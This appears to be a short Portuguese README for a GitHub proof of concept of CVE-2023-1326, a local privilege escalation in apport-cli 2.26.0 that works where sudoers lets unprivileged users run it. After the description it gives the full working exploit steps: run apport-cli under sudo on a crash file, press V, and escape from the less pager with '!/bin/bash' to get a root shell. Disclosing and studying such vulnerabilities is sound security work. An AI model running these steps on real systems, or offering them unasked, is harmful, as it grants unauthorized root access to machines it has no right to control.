pol-ruiz/cve-2023-1326Isto é uma prova de conceito própria e básica da vulnerabilidade CVE-2023-1326
Uma prova de conceito para CVE-2023–1326 no apport-cli 2.26.0
Esta vulnerabilidade é uma escalada de privilégio no apport-cli 2.26.0, similar à CVE-2023–26604, esta vulnerabilidade só funciona se atribuída no sudoers:
Um ataque de escalada de privilégio foi encontrado no apport-cli 2.26.0 e anteriores, semelhante ao CVE-2023-26604. Se um sistema for especialmente configurado para permitir que usuários não privilegiados executem sudo apport-cli, o less estiver configurado como pager e o tamanho do terminal puder ser definido: um atacante local pode escalar privilégio.
sudo /usr/bin/apport-cli -c /var/crash/some_crash_file.crash
press V (view report)
!/bin/bash
